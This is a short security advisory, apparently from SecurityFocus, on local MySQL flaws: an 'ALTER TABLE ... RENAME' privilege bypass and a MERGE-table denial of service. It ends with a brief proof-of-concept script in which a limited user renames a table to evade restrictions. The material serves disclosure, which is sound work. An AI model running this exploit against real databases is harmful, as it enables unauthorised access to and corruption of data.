source: https://www.securityfocus.com/bid/11357/info

MySQL is reported prone to multiple local vulnerabilities. Exploiting these issues may allow an attacker to bypass security restrictions or cause a denial-of-service condition in the application. 

Rportedly, an attacker can bypass certain security restrictions and gain access to and corrupt potentially sensitive data due to an error in 'ALTER TABLE ... RENAME' operations. 

A denial-of-service condition occurs when multiple threads ALTER MERGE tables to change the UNION. 

Due to a lack of details, further information is not available at the moment. This BID will be updated as more information becomes available.

drop database if exists mysqltest; 
connect (root,localhost,root,,test,0,mysql-master.sock); 
connection root; 
--disable_warnings 
create database if not exists mysqltest; 
--enable_warnings 
create table mysqltest.t1 (a int,b int,c int); 
grant all on mysqltest.t1 to mysqltest_1@localhost; 
connect (user1,localhost,mysqltest_1,,mysqltest,0,mysql-master.sock); 
connection user1; 
alter table t1 rename t2;